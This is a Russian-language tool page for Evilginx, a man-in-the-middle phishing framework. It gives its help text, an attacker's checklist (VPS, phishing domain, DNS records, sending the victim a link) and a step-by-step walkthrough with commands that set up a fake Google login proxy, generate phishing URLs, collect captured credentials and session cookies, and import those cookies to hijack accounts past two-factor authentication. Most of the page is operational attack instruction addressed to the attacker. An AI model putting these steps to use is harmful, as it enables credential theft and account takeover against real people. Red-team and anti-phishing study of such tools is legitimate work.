Evilginx
Описание Evilginx
Evilginx — платформа для атаки человек-посередине, используемая для фишинга учётных данных и кукиз сеансов любых веб-служб. Её ядро работает на Nginx HTTP сервере с использованием proxy_pass и sub_filter для проксирования и модификации HTTP контента во время перехвата трафика между клиентом и сервером.
Посредством фишинговой атаки возможно перехватить учётные данные для Google, Facebook, LinkedIn, Live, iCloud, Dropbox и других. При этом обходится двухфакторная аутентификация (если она установлена у жертвы). Если жертва вводит неверные учётные данные, то вход не происходит; если введены верные учётные данные, то Evilginx определяет это и перенаправляет жертву на любой URL. Во время атаки хотя и используется фишинговый домен, показывается реальная страница входа на сервис.
Для успешной атаки вам необходимо:
- сервер (VDS/VPS) с Linux, на котором установлен Evilginx
- специально зарегестрированный для фишинга домен
- внести данные в DNS для вашего домена и поддоменов
- отправить жертве ссылку на фишинговый сайт
Домашняя страница: https://github.com/kgretzky/evilginx
Автор: Kuba Gretzky
Лицензия: MIT
Справка по Evilginx
использование:
evilginx.py [-h] {setup,parse,genurl} ...
позиционные аргументы: {setup,parse,genurl} setup Настройка Evilginx. parse Парсинг фалов логов. genurl Создание фишингово URL. опциональные аргументы: -h, --help показать справку и выйти
Позиционные аргументы setup, parse и genurl являются чем-то вроде команд, каждая из которых выполняет свою функцию и имеет свои собственные опции.
Setup
Включает или отключает конфигурации сайтов для использования с сервером Nginx, используя поставляемые с Evilginx шаблоны из директории sites.
использование:
evilginx.py setup [-h] [-d DOMAIN] [--crt CRT] [--key KEY] [--use_letsencrypt] [-y] (-l | --enable ENABLE | --disable DISABLE)
опциональные аргументы: -h, --help показать справку и выйти -d ДОМЕН, --domain ДОМЕН Ваш фишинговый домен. --crt CRT Путь до публичного файла SSL/TLS сертификата. --key KEY Путь до файла с приватным ключом SSL/TLS. --use_letsencrypt Восстановить пользовательские SSL/TLS сертификаты на стандартный LetsEncrypt. -y Отвечать на все вопросы 'Yes', т. е. «Да». -l, --list Вывести список доступных для поддержки приложений. --enable ENABLE Включить следующий сайт по имени. --disable DISABLE Отключить следующий сайт по имени.
Parse
Парсит логи Nginx для извлечения учётных данных и кукиз сеансов. Файлы журналов, по умолчанию, сохраняются в директории, где размещён скрипт evilginx.py. Это может быть сделано автоматически после того, как вы на стадии Setup включили авто-парсинг.
использование:
evilginx.py parse [-h] -s SITE [--debug]
опциональные аргументы: -h, --help показать справку и выйти -s САЙТ, --site САЙТ Имя сайта чьи логи парсить ('all' для разбора логов всех сайтов). --debug Не обрезать лог файл после парсинга.
Generate URL
Генерирует фишинговые URL.
использование:
evilginx.py genurl [-h] -s SITE -r REDIRECT
optional arguments: -h, --help показать справку и выйти -s САЙТ, --site САЙТ Имя сайта, для которого создаётся ссылка. -r РЕДИРЕКТ, --redirect РЕДИРЕКТ Перенаправлять пользователя на этот URL после успешного входа.
Руководство по Evilginx
Страница man отсутствует.
Примеры запуска
Будет показан пример реализации атаки для конфигурации сайта google. У вас уже должен быть зарегистрирован домен, который вы будете использовать с Evilginx, а должен быть установлен на сервер (например, VDS). Допустим, нашим доменом является not-really-google.com. Зарегистрировать домены можно здесь или здесь.
Настройка домена
В настройках DNS вашего домена вам нужно сделать запись A, которая будет указывать на IP адрес вашего VDS/VPS.
Теперь важная часть. Список доступных сайтов включает информацию о субдоменах:
./evilginx.py setup -l
Будет выведено что-то вроде:
_ _ _ (_) | (_) _____ ___| | __ _ _ _ __ __ __ / _ \ \ / / | |/ _` | | '_ \\ \/ / | __/\ V /| | | (_| | | | | |> < \___| \_/ |_|_|\__, |_|_| |_/_/\_\ __/ | by @mrgretzky |___/ v.1.1.0 Listing available supported sites: - google (/home/mial/bin/evilginx/sites/google/config) subdomains: accounts, ssl - linkedin (/home/mial/bin/evilginx/sites/linkedin/config) subdomains: www - live (/home/mial/bin/evilginx/sites/live/config) subdomains: login, account - facebook (/home/mial/bin/evilginx/sites/facebook/config) subdomains: www, m - icloud (/home/mial/bin/evilginx/sites/icloud/config) subdomains: www, icloud, edge, setup, idmsa, appleid, id, appcdn - dropbox (/home/mial/bin/evilginx/sites/dropbox/config) subdomains: www
Это список необходимых субдоменов, которые вам нужно включить в вашу конфигурацию DNS зон, чтобы поднятый на Evilgix сайт мог нормально работать.
Вам нужно создать одну CNAME запись для каждого перечисленного субдомена и она должна указывать на ваш зарегестрированный домен. Например, google требует две CNAME записи:
- accounts.not-really.google.com которая будет указывать на not-really-google.com..
- ssl.not-really.google.com которая будет указывать на not-really-google.com..
Включение конфига сайта
Теперь домен должен быть правильно настроен, и все требуемые субдомены должны также указывать на нужное место. Теперь мы можем включить конфигурацию сайта google для Nginx.
python evilginx.py setup --enable google -d not-really-google.com
Аргумент -d not-really-google.com определяет зарегистрированный домен, принадлежащий нам. Следуйте запросам, отвечайте на каждый вопрос Y и Evilginx должен включить авто-парсинг логов и автоматически получить SL/TLS сертификаты от LetsEncrypt используя Certbot.
Вам нужно проверить, всё ли работает должным образом, если есть ошибки, то нужно их исправить и проверить, что DNS зоны настроены должным образом. Возможно, понадобиться несколько часов, пока настройки DNS распространяться по другим серверам, иногда это происходит мгновенно.
Генерация фишинговых URL
Теперь мы сгенерируем наши фишинговые URL, которые будут отправлены жертве:
python evilginx.py genurl -s google -r https://www.youtube.com/watch?v=dQw4w9WgXcQ Generated following phishing URLs: : https://accounts.not-really-google.com/ServiceLogin?rc=0aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g_dj1kUXc0dzlXZ1hjUQ : https://accounts.not-really-google.com/signin/v2/identifier?rc=0aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g_dj1kUXc0dzlXZ1hjUQ
Аргумент -r https://www.youtube.com/watch?v=dQw4w9WgXcQ указывает на URL на который будет перенаправлена жертва при успешном входе. В этом сценарии сделан редирект на музыкальное видео.
Как вы можете видеть, Evilginx создал два URL. Один для старой страницы входа Google, другой для новой. Вы можете выбрать любой из них.
Evilginx каждую минуту будет парсить логи. Если кто-то попался и выполнил успешный вход, его учётные данные для входа и кукиз сеанса будут сохранены в директории logs корневой директории Evilginx.
Сессионные кукиз могут быть импортированы с использованием расширения EditThisCookie в Chrome.
Установка Evilginx
Установка в Kali Linux
sudo apt-get install zlib1g-dev git clone https://github.com/kgretzky/evilginx cd evilginx chmod 700 install.sh sudo ./install.sh
Установка в BlackArch
Программа предустановлена в BlackArch.
Информация об установке в другие операционные системы будет добавлена позже.
Скриншоты Evilginx
Инструкции по Evilginx
Ссылки на инструкции будут добавлены позже.
Comments are Closed